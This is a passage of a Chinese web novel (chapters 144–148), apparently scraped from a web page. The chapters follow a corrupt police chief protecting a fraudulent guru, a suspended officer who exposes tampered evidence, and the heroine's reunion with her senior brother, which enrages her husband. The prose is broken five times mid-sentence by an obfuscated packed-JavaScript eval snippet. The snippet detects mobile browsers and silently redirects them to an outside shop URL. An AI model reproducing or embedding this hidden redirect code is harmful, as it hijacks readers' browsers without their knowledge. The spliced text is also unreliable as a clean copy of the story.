周启华看着他们离去的背影,先是错愕,随即,眼中便涌起了毫不掩饰的轻蔑和得意。 “大陆佬,就是大陆佬。他对着身旁的下属,不屑地撇了撇嘴,“还以为多大本事,碰了钉子,不也得灰溜溜地滚蛋? 他得意地哼着小曲,回到自己的办公室,立刻拨通了那个秘密的电话号码。 电话响了许久才被接起,那头传来一个年轻而又冷漠的声音:“什么事? 这是金山居士身边最得力的弟子之一清明,也是他与外界联系的唯一渠道。 周启华立刻换上一副点头哈腰的谄媚嘴脸,对着电话邀功道:“清明师兄,您放心。内地来的那帮人,刚刚来过,我已经按大师的吩咐,全都给挡回去了。他们现在就像没头的苍蝇,什么都查不到。 第144章 愣头青小警察 电话那头沉默了片刻,似乎是在转达,随即传来一句淡淡的“知道了”。 周启华听出对方要挂电话,连忙搓着手,脸上露出了一丝贪婪的笑容,试探性地问道:“大师兄,您看……这个……内地来的这帮‘大陆佬’,满脑子都是阴谋论,根本不信风水玄学,还想查案。我可是顶着巨大的压力,才把他们都给挡回去的,您看……能不能在大师面前替我美言几句,指点一下……这周末赛马的‘天机’啊?” 他话音刚落,电话那头的声音瞬间就冷了下来,带着一丝毫不掩饰的鄙夷和警告: “周署长,我师父帮你,是看在你夫人与道有缘。你若以为,师父的通玄之能是给你用作敛财的工具,那你可就想错了。” 周启华被这番话噎得一窒,脸上的笑容瞬间僵住。 只听电话那头的声音又缓和了几分,像是在敲打后又给一颗甜枣:“你只需把你分内的事做好,别让那些不信鬼神的人,来打扰我师父的清修。你家的福报……自然会来的。” “是,是,是大师兄教训的是!”周启华吓得连连点头,冷汗瞬间就下来了,“我明白了!我一定办好!绝不让那些人再有机会乱查!” 电话被“嘟”的一声挂断。 周启华握着听筒,长长地舒了一口气,擦了擦额头的冷汗。虽然没要到“天机”,但那句“福报自然会来”的承诺,还是让他心中稍定。只要大师肯下场相助,那** 自然就能手到擒来。 而在浅水湾的别墅内,清明挂断电话,转身对着身后那如同古佛般**的师父——金山居士,恭敬地汇报道: “师父,周启华来过电话,傅清寒他们已经被挡回去了。只是这人贪心不足,还想打听赛马的事。” 金山连眼睛都没睁开,只是从鼻子里发出一声不屑的冷哼。 “蠢货。” —— 安全屋别墅里,气氛压抑到了极点。 “妈的!这群王八蛋摆明了蛇鼠一窝!”苏文赫一拳砸在桌上,烦躁地骂道,“但他们拦着就没法查案!清寒,你内地的身份在这里根本施展不开,他们这是吃定了我们不敢把事情闹大!” 傅清寒站在窗前,看着窗外灰蒙蒙的天空,一言不发。 之前他 还只是怀疑,现在几乎已经可以确认,警署的反应太反常了,如果说民众的迷信是被引导的,那作为官方的警署这样的做法显然是背后有利益纠葛。这件事恐怕警局高层也参与其中,起码包庇是一定有的。 如果是这样的话,那直接从警署突破怕是很难。他缓缓转身,那张冷峻的脸上,看不出任何情绪,但声音却异常清晰: “既然他们想玩‘规则’,那我们就用‘规则之外’的方法,来陪他们玩。” 他看向苏文赫: “警署那条线,先放一放。立刻动用所有资源,把荔湾中心那三起案子,官方渠道不给,我们就用非官方的。另外,他们捂着周启整华的嘴,整个警署难不成都是瞎子,世上没有不透风的墙,总会有人看到了什么,或者……想说点什么。” 就在大家开始雷厉风行地布置查案线路时,一直沉默的白凝凝,脸色却愈发苍白。她忽然感到一阵心悸,腹中也传来一阵不安的躁动。她强撑着坐下,额头上渗出了一层细密的冷汗。 “凝凝!”傅清寒第一时间发现了她的异样,一个箭步冲到她身边,将她抱进怀里仔细查看,“你怎么了?!” “没事……”凝凝靠在他坚实的胸膛上,感受着他那因为紧张而狂跳的心脏,勉强挤出一个安抚的微笑,“只是灵力有些不稳,休息一下就好。” 但她知道,这只是开始。没有了“鸾凤佩”的灵气滋养,她身体的亏空会越来越大。 她不能成为所有人的拖累。 她靠在傅清寒怀里,脑中灵光一闪,忽然想起了那个被自己忽略了的一件事。 “对了,”她抬起头,看向众人,“你们还记得吗?我之前为霍老爷子诊脉时,发现他的脉象好得有些过头。那股精纯的、独特的草木药力,绝非凡品。思晴告诉我,那是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771300|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她在城南一家叫‘百草堂’的老药铺求来的药。” 她的声音里带上了一丝好奇和期待:“能开出那种药方的,绝不是普通的中医。我想……去那里看一看。说不定,那位高人能有办法,开出一些可以暂时稳住我胎气的方子,为我们争取更多的时间。” 傅清寒闻言,二话不说,立刻点头:“好!我们明天一早就去!” 陈慕白过来:“清寒你就放心带凝凝去吧,这里有我和承 熙、文赫。” 陈瑶点头 凝凝看着这样一群人都在用自己的方式宽慰和保护自己不禁一笑点头“好有瑶瑶你们在我就没什么担心的。” 傅清寒看着凝凝莞尔一笑的模样心里涌出一阵心疼“嗯一定没事的。” —— 与此同时港市警署西九龙总区档案室。 一个穿着便服、看起来二十出头的年轻男人正双眼通红地一遍遍地翻看着“荔湾中心”那几份被草草结案的卷宗。 他就是**那个在现场唯一提出质疑并因此被迅速“停职反省”的愣头青小警察。 他不甘心! 他清楚地记得第三个死者的指甲缝里有他亲眼看到的、极细微的白色粉末!他甚至偷偷保留了一点样本但送去化验科后却被告知“只是普通的墙灰粉尘”。 他不信!他觉得这背后一定有惊天的阴谋! 可是他只是个无权无势的小警员人微言轻。他的质疑在警局里掀不起一丝波澜不仅如此相熟的警察都劝他不要乱讲了。明哲保身才是上上之策。 明哲保身他摇摇头自己不是不明白这个道理但那是三条活生生的人命啊! 可现在怎么办?到底该怎么办? **烦躁地抓着自己的头发脑中忽然灵光一闪想到了一个人——他的警校死党**然。 **然和他不一样毕业后没有去冲锋陷阵的一线而是进了商业罪案调查科脑子活络人脉也广。最重要的是**听说最近轰动全港的“赵氏豪门案”就是**然所在的部门负责的! 第145章 小警官搭上了线 这意味着,浩然或许能接触到那个传说中“死而复生”的赵家大少爷,或是他身边那位同样能量通天的苏家掌舵人! —— 商业罪案调查科,临时办公室。 这里是为“赵氏豪门案”特设的专案组办公点。刚刚从安全屋过来的苏文赫作为赵氏集团的“新任顾问”,正坐在这里,心不在焉翻看着一堆枯燥的财务报表。 赵承熙则以“案件重要当事人”的身份,坐在一旁的沙发上,同样惦记着傅清寒说的话。 堵住一个人的嘴,警署上下不会都是瞎子。这件事如此蹊跷,假的真不了,总会有人知道些什么。 就在这时,办公室的门被敲响了。 “苏先生,您好。”一个穿着西装、看起来精明干练的年轻探员走了进来,他正是**然。 “张探员,有事吗?”苏文赫放下文件,懒洋洋地抬起眼。 **然将一份文件递了过去,公事公办地说道:“苏先生,这是关于赵氏集团资产清算的一些新进展,需要您过目签字。” 苏文赫接过文件,随意地翻阅着。 **然站在一旁,看似在等待,状似无意地开口了: “唉,说起来也真是邪门。赵家这边刚倒,霍家那边就出了事。苏先生,您听说了吗?‘荔湾鬼楼’的事,现在闹得满城风雨。” 这是话里有话,苏文赫的眉毛微微一挑,没有说话,和一边的赵承熙对视一眼:“继续说。” **然见他感兴趣,心里稍安,继续道:“我们有个同事,叫**,是个刚毕业的愣头青,就在西九龙当差,他偏不信邪。他对案子有不同看法,结果被上司狠狠地训了一顿,现在正停职反省呢。” 苏文赫把玩钢笔的手微微一顿,抬起眼皮,似笑非笑地看着他:“哦?不同看法?什么不同看法?” **然挠了挠头,一副“我也是道听途说”的样子:“他说什么不像是意外,像是****。还说他查了家属,发现家属的反应也很奇怪。不过,法医那边已经出了报告,说是意外,这小子估计是看侦探小说看多了,还以为自己是大英雄呢。哈哈。” 他干笑了两声,像是在说一个笑话。 然而,苏文赫签下文件的手,停住了。 他和赵承熙交换了一个心照不宣的眼神。他们知道**然今天来绝对不是“闲聊”这是有人在通过他向自己递话。 他抬起头看着**然嘴角勾起一抹意味深长的笑:“你说的这个**有点意思。我想见见他听听他到底查到了什么。你现在能联系上他吗?” **然心中狂喜!他知道自己赌对了! 他强忍着激动脸上却露出为难的神色:“哎呀苏先生这……阿斌他现在正在停职情绪不太好我也不知道他在哪儿……” 就在这时一直站在他身后 那是一张因为熬夜而带着几分憔悴却异常坚毅的年轻脸庞。他的眼睛因为紧张和激动亮得惊人。 他对着苏文赫和赵承熙声音因为激动而微微发颤却又无比清晰和坚定: “我就是**!” 苏文赫猛然看向他赵承熙则从老板椅上站起身绕过巨大的办公桌亲自走到**面前拍了拍他那因为紧张而绷得笔直的肩膀。 “李警官”他的声里是毫不掩饰的欣赏“我们这里欢迎英雄。” 他指了指一旁的沙发做了一个“请”的手势: “坐下说。把你掌握的所有情况和你的怀疑一五一十地全部告诉我。” “我们给你说真话的权力查真相的资源以及……”他的目光扫过一旁同样露出赞许神色的苏文赫“伸张正义的后盾。” 会议室里**那因为激动而显得有些急促的声音在寂静的空气中回响。 “长官官方卷宗上什么都不会有因为周Sir根本不允许有不同的声音出现。我被停职前偷偷复印了一部分原始的现场记录上面有一些后来被‘优化’掉的细节。” 他从随身携带的公文包里拿出一份略显褶皱的文件递了过去同时压低了声音像是在诉说一个不能被外人听到的秘密: “法医报告的最终结论是‘突发性心力衰竭’但我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771301|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到的原始记录上法医助手在备注里写了一句:‘死者瞳孔异常放大面部肌肉呈非正常痉挛状态疑似受到极度惊吓或神经性 毒素影响’。但这句话,在正式的归档报告里,被删掉了。” “还有!”他的声音里带着一丝发现真相的兴奋,“现场勘察的记录里,我亲眼看到,技术人员在那个保安的指甲缝里,提取到了一些极细微的白色粉末。我当时就觉得不对劲,想送去化验科。但带队的警长立刻就把证物袋收走了,后来告诉我们,那只是普通的墙灰粉尘。” “墙灰粉尘怎么可能只出现在指甲缝里?!”**激动地反问,像是在宣泄积压已久的愤懑,“这些疑点,我全都向上司汇报了,但换来的,只是一纸停职通知书!” 苏文赫和赵承熙对视一眼,都从对方眼中看到了凝重。删除关键备注,替换可疑证物……这已经不是简单的敷衍,而是明目张胆的销毁证据! **深吸一口气,平复了一下情绪,才接着说道:“我知道官方渠道走不通,所以,我偷偷去接触了三名死者的家属。” “第一个死者是电工郑强,他有个儿子叫郑浩宇,是港大医学院的,高材生。我去找他的时候,他表面上很平静,接受了‘高坠意外’的说法,还签了和解书。” **压低了声音,眼中闪烁着兴奋的光芒: “但是,我注意到,他家的垃圾桶里,有好几本关于《罕见毒物学》和《法医鉴定手册》的专业书籍,上面还有翻阅过的痕迹!而且,我还看到他阳台上晾着一件白大褂,口袋里,有一张港大毒理学实验室的门禁卡!” “一个刚刚失去父亲的医学生,不悲伤,不**,反而半夜偷偷去看毒理学的书……这正常吗?!” “我怀疑,他一定也发现了什么!他只是不相信我们警察,想用自己的方法去查!” 这番话,让苏文赫和赵承熙的眼中,同时闪过一丝精光!这个**,不只看表面,更会通过细节推断动机,是个难得的人才! “很好。”苏文赫赞许地点了点头,“那另外两个呢?” 第146章 师兄也穿书了? **的脸上,露出了一丝无奈:“第二个死者,清洁女工刘婶,她丈夫是个老实巴交的码头工人,家里还有两个孩子要养。霍家给了一大笔‘人道主义赔偿金’,他收下后就带着孩子搬家了,我再去就找不到了。他很害怕,只想安稳度日,这条线……估计是断了。” “至于第三个死者,那个保安,叫陈忠。他更麻烦。”**的眉头紧紧皱起,“他只有一个儿子,叫陈飞,绰号‘飞机’,是庙街出了名的烂仔!他老豆一死,他拿到赔偿金后,就天天泡在赌场和夜总会,花天酒地,我去找他,他直接把我轰了出来,还说他老豆死得好,正好给他留了一大笔钱潇洒!还让我不要多管闲事!” “这种不孝子,根本不在乎他老豆是**的,从他身上,估计也问不出什么。”**的语气里充满了失望。 苏文赫和赵承熙听完,也陷入了沉默。 一个在暗中调查,一个已经躲起来,一个烂泥扶不上墙……目前唯一的突破口,似乎只有那个港大医学生了。 “李警官,”苏文赫拍了拍他的肩膀,沉声说道,“你做得很好。从现在开始,你的任务,就是给我死死地盯住那个医学生郑浩宇!保护他的安全,记录他的一切动向,但不要惊动他。至于其他的,交给我们。” “是!长官!”**重重地点了点头,眼中重新燃起了希望的火焰。 —— 另一边,城南上环街,“百草堂”。 古朴的药铺里弥漫着精纯的药香,与外面喧闹的市井气息,仿佛是两个世界。 凝凝在傅清寒的全程搀扶下,走进了这家看起来毫不起眼的店铺。 柜台后,一个穿着灰色长衫、气质出尘的男人,正低头用一把小巧的银秤称量着药材。他动作专注而优雅,仿佛不是在配药,而是在进行某种神圣的仪式。 就在凝凝踏入药铺的那一刻,那个男人称药的手,毫无征兆地,微微一顿。 他缓缓地、缓缓地抬起了头。 四目相对。 时间,仿佛在这一刻静止。 凝凝看着那张熟悉又陌生的、俊朗出尘的脸,整个人都僵住了。大脑一片空白,只有一个名字,不受控制地从灵魂深处涌了上来。 而那个男人,在看 清白凝凝的脸时手中的银秤“哐当”一声掉落在柜面上珍贵的药材撒了一地但他却毫无知觉。他那双如同深潭般的眸子里瞬间掀起了难以置信的、狂喜、震惊的万丈波澜! 他几乎是踉跄着从柜台后绕了出来因为激动嘴唇都在微微颤抖。他一步步地走到凝凝面前伸出手似乎想触碰她却又怕眼前的一切只是幻觉声音沙哑得不成样子: “……凝凝?” “……师兄?”凝凝也下意识地轻声唤道。 是他!真的是他!是她穿书前在古武世家里那个永远温润风雅、天纵英才的大师兄——玄冥! 得到她回应的那一刻玄冥眼中的最后一点不确定也消失了取而代之的是几乎要溢出来的浓烈到化不开的深情和喜悦。 他一把拉住凝凝的手臂傅清寒一时不查真的被将她“扯”了出来紧紧地握在自己手中上下打量着仿佛要将她的模样刻进骨子里。 “真的是你!凝凝!真的是你!” 傅清寒的脸色在玄冥拉走凝凝的那一瞬间就沉了下来。一股强烈的被侵犯感让他周身的气压骤然降低! 他上前一步想将凝凝拉回来但玄冥却像是完全没看到他一样所有的目光和注意力都痴痴地落在了凝凝的身上。 “师兄你怎么会在这里?”凝凝也从巨大的震惊中回过神来自己是穿书难道师兄也是看了书才“穿”过来了? 这么随意的吗?而且就算是看话本她以为只有师姐妹们才会看这种女频… 师兄就算看也应该是看男频 她的脑袋因为太多想法几乎都要宕机了。 玄冥看着她眼里满是茫然他摇了摇头声音低沉而又充满了磁性:“我也不知道。我只知道你不见了。我找你很久也许是精诚所至金石为开我一睁眼就在这里了。这里没有师父没有师兄弟…我还以为我真的把你弄丢了。” 他的手不自觉地收紧了几分仿佛怕她再次消失。他凝视着她的眼睛用近乎呢喃的的语气轻声说道: “我在这里开了这家药铺到处打听你的下落。我总在想只要我一直等一直念着你……或许有一天缘分重结老天就会把你重新送到我 面前。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771302|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “念念不忘必有回响。你看,我等到你了,不是吗?” 这番话,每一个字,都像一根滚烫的针,狠狠地扎进了傅清寒的耳朵里! 什么叫“缘分重结”? 和谁结缘?那是我老婆! 什么叫“一直念着你”? 念着别人老婆?他也说得出口! 什么叫“我等到你了”? 等个屁!恬不知耻! 玄没每说一句话,傅清寒的脸就黑上一分。 这个突然冒出来的“师兄”,他凭什么用这种姿态,说这种话?! 他再也无法忍受,上前一步,用一种不容置喙的力道,将凝凝从玄冥的手中夺了回来,紧紧地、霸道地揽入自己的怀中! “这位先生,”他的声音,冷得能掉下冰渣子,“请注意你的言辞和分寸,凝凝是有夫之妇,是我的妻子!” 玄冥这才仿佛刚刚注意到傅清寒的存在。他抬起眼,看向这个将自己师妹护在怀里的、充满了敌意的男人,眼中闪过一丝了然和一丝不易察觉的挑衅。 凝凝夹在两个气场强大、暗流汹涌的男人中间,只觉得头都大了。她拍了拍傅清寒的手臂试图安抚,但傅清寒受刺激太大,丝毫不为所动,手还像铁钳一样紧紧箍着她的腰。 她有些尴尬地摸了摸鼻子:“清寒,这是我大师兄,玄冥。师兄,这是我…额…我的先生,傅清寒。” “穿书”这种事太过诡异,而且以傅清寒骄傲是绝对不会接受自己是书中人,所以她只能用“师出同门”来模糊地解释。而这个解释,落在傅清寒的耳朵里,却让他心中那股无名的火,烧得更旺了。 师出同门? 他知道凝凝医术出神入化,但从未听过她说起过去,是因为过去有这样一位颇为亲近的大师兄吗? 一个他从未听过的“大师兄”,一个他完全不了解的“过去”,让他心里乱糟糟,像是塞进了一团乱麻。 而玄冥听到凝凝的介绍,则对着傅清寒,露出了一个温和有礼、却又带着几分“长兄如父”的审视笑容,微微颔首:“原来是傅先生,久仰。小师妹顽劣,多亏你照顾了。” 他那副理所当然的“娘家人”姿态,让傅清寒的脸色,又黑了几分。 第147章 你,只有一个 就在这剑拔**张的气氛中,玄冥的目光,落在了凝凝那微微隆起的小腹上。他的瞳孔,不易察觉地猛地一缩! 那双原本还带着重逢喜悦和挑衅笑意的眸子里,瞬间闪过了混杂着震惊、刺痛和难以置信的……痛苦。 那痛苦转瞬即逝,快到仿佛只是一个错觉。他立刻又恢复了那副温润的模样,但声音里,却带上了极力压抑的艰涩:“师妹,你……有孕在身?” “啊……是啊……”这么就没见,一见面就怀孕……就觉得挺有点难为情的。 他二话不说,立刻伸出手:“手给我,我为你切脉。” 凝凝没有多想,将手腕递了过去。玄冥三指搭上,闭目凝神。片刻之后,他猛地睁开双眼,脸色变得异常难看! “师妹,我有话给傅先生说。” 两人进了一旁的茶室。 茶室里,檀香袅袅。玄冥为傅清寒倒上一杯茶,长长地叹了一口气,脸上满是沉痛:“傅先生,接下来的话,可能有些刺刺耳,但我作为师兄,不得不说。” “师妹的情况,比你想象中要凶险得多……不出一个月,她必将油尽灯枯,一尸两命!” 傅清寒的脸色,在瞬间变得煞白!“你说什么?”他知道凝凝身体欠佳,但没想到已经到了这种地步!“那怎么办?” 玄冥看着他,缓缓地开口:“现在唯一的办法,就是立刻‘引产’,舍弃这个孩子!只有这样,才能保住师妹的性命!”他直视着傅清寒那双瞬间变得猩红的眼睛,语气悲悯、仿佛在拷问对方灵魂一般,轻声问道:“傅先生,我知道你舍不得自己的孩子。但我问你,你爱的是凝凝这个人,还是她能为你传宗接代?” “你闭嘴!”傅清寒彻底被激怒了!他猛地起身,一把揪住玄冥的衣领,那双布满血丝的眼睛里,是前所未有的暴怒!“我的妻子,我的孩子,我都会保住!轮不到你一个外人在这里指手画脚!” “外人?我和凝凝一起长大。傅先生,你和凝凝才认识的久?” 傅清寒像是被戳中了逆鳞,收紧不怒反笑:“师兄?刚刚才见面就撺掇着师妹打掉孩子的师兄?你安的什么心你自己清楚!” “清寒!住手!”凝凝推门而入,看到的正是傅清寒揪住玄冥的衣领对着自己那“温 文尔雅”的师兄怒目相向的场景。 玄冥见凝凝进来,脸上痛心又无奈,对着凝凝长叹一声:“小师妹,你别怪傅先生。他也是两难,既在乎你也想要你的孩子了。”他摇着头,一脸的“恨铁不成钢”,语气里充满了对凝凝的“心疼”:“不像我……我只是心疼你的身体。我提了一个能保住你性命的法子,他……他接受不了罢了。唉,毕竟不是他自己的身体,他哪里知道你正在受什么样的苦。” “说到底也是你们的事,是我这个做师兄多话了。”说完,他便不再理会暴怒的傅清寒,转身走到药柜前,亲自为凝凝熬制汤药。 凝凝看着他背对着自己,仿佛周身都透着寂寥和委屈,师兄也是为了自己的身体,她心里又酸又涩,颇有些不是滋味。 看着凝凝凝视着玄冥的背影面露心疼神色,傅清寒的心像是被一只无形的大手狠狠攥住,又闷又痛,憋屈到了极点! 他被算计了! 被这个不知道从哪里冒出来的师兄,用一套精湛的“茶艺”,三言两语,就将他置于“不顾妻子死活的冷酷丈夫”的境地! 憋屈,恼怒,嫉妒……这些陌生的、失控的情绪,如同翻滚的岩浆,在他一向掌控一切的世界里,疯狂冲撞。 该死的……真实! 他看了一眼那个背对着他们、正在“专心”熬药的罪魁祸首,那宽阔的肩膀在昏黄的灯光下,显得那么“孤寂”而又“委屈”。 傅清寒的眼中,闪过一丝骇人的寒芒。 但他知道,此刻发怒,只会正中对方下怀,让自己在凝凝面前,显得更加“不懂事”。 他不能被这个男人牵着鼻子走!更不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771303|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能让凝凝有哪怕一丝一毫的不安全感! 他深吸一口气,强行将那滔天的怒火和杀意,压回了胸腔的最深处。 他不再去看那个装模作样的背影,而是伸出双手,轻轻地扶住凝凝的肩膀,将她的身体,温柔而又强势地,转了过来,让她面向自己,让她无法再去看另一个人。 他深深地看进她的眼睛里,声音沙哑,却字字千钧: “凝凝,听我说。” “我傅清寒,是想要一个孩子,一个属于我们的孩子。” 他的拇指,轻轻地摩挲着她的脸颊,感受着那冰凉的温 度,心脏一阵抽痛。 “但是,他顿了顿,每一个字,都像是用尽了全身的力气,砸出了最沉重的承诺,“凝凝,你才是最重要的。 “孩子,我们可以以后再有。哪怕不能再有,我也认了。但你,我只有一个。 “所以,不要听别人说什么。只要能让你好好的,别说一个孩子,就是要我的命,我也给你。 他这番话,说得斩钉截铁,充满了不容置疑的决绝。那不是在解释,而是在宣誓。 凝凝的心,像是被这滚烫的誓言狠狠地撞了一下,所有的委屈和酸涩,都在瞬间被更温暖、更踏实的情绪所取代。她知道,这个男人,或许不善言辞,或许霸道强势,但他对自己的心,是真的。 她反手握住他那骨节分明的大手,轻轻地摇了摇头,眼眶泛红,声音却重新带上了力量: “不,清寒。孩子……我要。你,我也要。 她转过身,不再去看傅清寒那因为她的话而瞬间变得柔软的眼神,而是迈开步子,主动走向了那个还在炉火边忙碌的背影。 “师兄。 她走到玄冥身边,看着那紫砂炉里翻滚的、散发着浓郁药香的药液,轻声说道: “你别怪清寒,他……他只是太紧张了。其实,我们这次来港市,就是为了来找一样东西,一样能彻底稳住我身体的东西。 第148章 药有效! 这番话,既是向师兄解释,也是在替傅清寒“辩解”——你看,他不是不在乎我的身体,他为了我,已经付出了很多。 听到这话,傅清寒那紧绷的脸色,才稍稍缓和了几分。他走上前,重新将凝凝揽入怀中,像是在宣示**。 “那你找到了吗?” 凝凝苦涩地摇了摇头,将“荔湾大厦”的几起命案和金山居士如何出现,又是如何从霍家骗走玉佩的事,简略地说了一遍。 “金山居士?!”玄冥听完,皱眉。 他只是将已经开始熬制的药炉交给弟子看管,然后对着凝凝,露出带着几分无奈和责备的眼神,柔声说道:“小师妹,关于那个金山居士,有些话,是咱们‘行内’的切口,不方便让外人听了去。你随我来后院一下。” “外人”两个字,他说得云淡风轻,却像一根无形的刺,精准地扎在了傅清寒的身上!傅清寒揽在凝凝腰间的手,猛地收紧!他那双冰冷的眸子瞬间眯起,声音里是压抑不住的占有欲和不悦:“有什么话,是我不能听的?” 凝凝立刻感受到了他身上那骤然紧绷的肌肉和瞬间降低的气压。她连忙伸出手,安抚地拍了拍他坚实的手臂,柔声解释道:“清寒,你别紧张,师兄不是那个意思。我们师门之间有些事情……不太好解释。你在这里等我一下,我马上就回来。”她的话语里带着几分安抚。 傅清寒看着她那略带恳求的眼神,再看看一旁那个好整以暇、仿佛在看好戏的玄冥,心中的火气与憋屈交织在一起,几乎要冲破理智的牢笼。但他终究是不忍心在这种时候让凝凝为难。 他缓缓地、极其不情愿地,松开了自己的手。 玄冥对着傅清寒,露出了一个温和有礼、却又带着一丝胜利者意味的微笑,然后才转身,引着凝凝向后院走去。 傅清寒没有坐下。他像一尊沉默而又充满了压迫感的冰雕,径直走到了连接后堂与后院的门廊下。 他双臂环胸,身姿笔挺地靠在朱红色的门柱上,一双锐利如鹰隼的眸子,死死地锁定着远处桂花树下的那两个身影。 隔着遥远的距离,他听不清他们在说什么。但他能看到,那个叫玄冥的男人,是如何用一种极其温柔的眼神注视着他的妻子。 他能看到,凝凝在 认真地听着,不时地点头,满脸的专注。 他甚至能看到,在说到某个关键处时,玄冥伸出手,极其自然地,在凝凝的肩膀上轻轻拍了拍,像是一种安抚,又像是一种亲昵的鼓励。那个瞬间,傅清寒交叉在胸前的双臂,肌肉猛地绷紧!他感觉自己的领地,被赤裸裸地侵犯了! 他们仿佛自成一个世界,一个他听不懂、也无法踏足的,充满了“师门”、“切口”和“秘密”的世界。而他,这个名正言顺的丈夫,却只能像个局外人一样,站在这里,远远地看着。这种感觉,比任何直接的挑衅,都更让他感到烦躁和……憋屈! —— 后院,桂花树下。 “小师妹,你也是我们师门出来的人,怎么会被这种装神弄鬼的把戏给唬住?还‘百鬼夜行’、‘怨气冲天’?你我都知道,如今这个世界,灵气稀薄得如同沙漠,连你我这种正统传人,施展一些小小的针法都要耗费心神,哪里还有什么人,能有通玄之能,去操纵如此大规模的‘法术’?” “我知道,师兄。”凝凝点头,“我也觉得不可能,而且我和他打过照面,那个人脚步虚浮,印堂发黑,可能有些雕虫小技,但绝不是大能。” “还大能?”玄冥失笑,“凝凝你就是太单纯了。那不过是个江湖骗子!他那套所谓的‘驱邪’,不过是提前布置好的机关、配合一些化学药剂制造出来的障眼法罢了!” 两人从后院回到前堂,傅清寒正像一尊冰雕一样,站在那里,周身散发着生人勿近的寒气。玄冥却像是完全没感觉到,他对着傅清寒,脸上重新挂上了那副“同仇敌忾”的郑重表情,微微抱拳,语气诚恳地说道: “傅先生,方才是我言语过激,多有得罪,还望海涵。” 他长长地叹了一口气,脸上勉强露出了笑容:“我刚才也是关心则乱,一时口不择言。现在我明白了,傅先生你为了师妹,披荆斩棘,不远千里而来,这份情意,玄冥佩服。唉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771304|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说到底,我只是个外人,只是个师兄,哪比得上傅先生你这个做丈夫的,名正言顺。但你和我的心,是一样的,都是想让她好好的。” 这番话说得滴水不漏,既道了歉,又把自己和傅清寒放在了“同一阵线”上,让傅清寒一肚子的火,发也不是,不发也不是,憋屈到了极点一张俊脸 冷得都快结冰了! 玄冥看着傅清寒那精彩纷呈的脸色,嘴角的笑意更深。他转身,将熬好的汤药小心翼翼地盛入碗中,亲自端到凝凝面前,声音温柔得能滴出水来: “小师妹,你放心。这个金山居士,我会去会一会他,看看他到底有什么三头六臂,敢做下这样伤天害理的事! “在拿回玉佩之前,他将药碗递到凝凝嘴边,“你的身体,就交给师兄来调理。我保证,每天都会亲自为你熬药,稳住你的胎气。什么都没有你的健康重要,知道吗? 说完,他还特意看了一眼傅清寒,脸上带着“娘家人 “傅先生,你也别太自责。男人嘛,有时候是粗心了点。不像我们这些学医的,只会心疼人。以后照顾师妹这种事,有我帮你看着,你就放心吧。 傅清寒:“…… 他感觉自己快要憋出内伤了! 这个玄冥,每一句话,都在夸他“深情,但每一个字,又都在暗示他“无能! 什么叫“粗心了点? 什么叫“只会心疼人? 什么叫“有我帮你看着? 他三言两语,就将自己从一个“并肩作战的丈夫,贬低成了一个需要被他“提点和帮助的“局外人! 而凝凝,在喝下那碗药后,只是片刻的功夫,就感觉到一股温和的暖流,从胃里缓缓地散开,流向四肢百骸。那种一直盘踞在身体里的、令人虚弱的寒意,竟被驱散了不少。她原本苍白的脸上,也泛起了一丝久违的、淡淡的血色。 